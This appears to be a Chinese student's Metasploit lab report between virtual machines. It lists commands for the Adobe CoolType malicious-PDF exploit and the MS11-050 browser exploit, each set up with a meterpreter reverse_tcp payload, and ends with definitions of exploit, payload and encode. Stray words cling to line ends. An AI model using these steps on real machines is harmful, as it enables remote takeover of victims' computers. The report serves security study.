兩臺虛擬機,其中一臺爲kali,一臺爲windows xp sp3,並保證兩臺虛擬機能夠ping通。html
進入msfconsole。shell
輸入命令use exploit/windows/fileformat/adobe_cooltype_sing,進入該漏洞模塊; 使用命令set payload windows/meterpreter/reverse_tcp設置攻擊載荷;設置端口,主機ip,產生pdf文件名。windows
show options顯示攻擊前所設置的數據。瀏覽器
輸入exploit,生成pdf文件,能夠看到pdf所在文件夾,將pdf複製到靶機裏。網絡
兩臺虛擬機,主機(kali),靶機(windows xp sp3)tcp
輸入命令use windows/browser/ms11050mshtml_cobjectelement,進入該漏洞模塊,並設置參數。編碼
exploit 生成一個網址。spa
兩臺虛擬機,主機(kali),靶機(windows 2003 英文版)3d
主機kali的ip地址
code
主機 kali 靶機 windows xp sp 3 .
1.用本身的話解釋什麼是exploit,payload,encode?
Exploit 的英文意思就是利用,就是利用漏洞攻擊。payload其實就是指載荷,運送到目標主機實現攻擊。encode:對須要的文件進行編碼。
每一個實驗的步驟大體相同,首先用use使用攻擊模塊,而後有些須要set payload,以後show options ,照着將所須要的參數設置完整。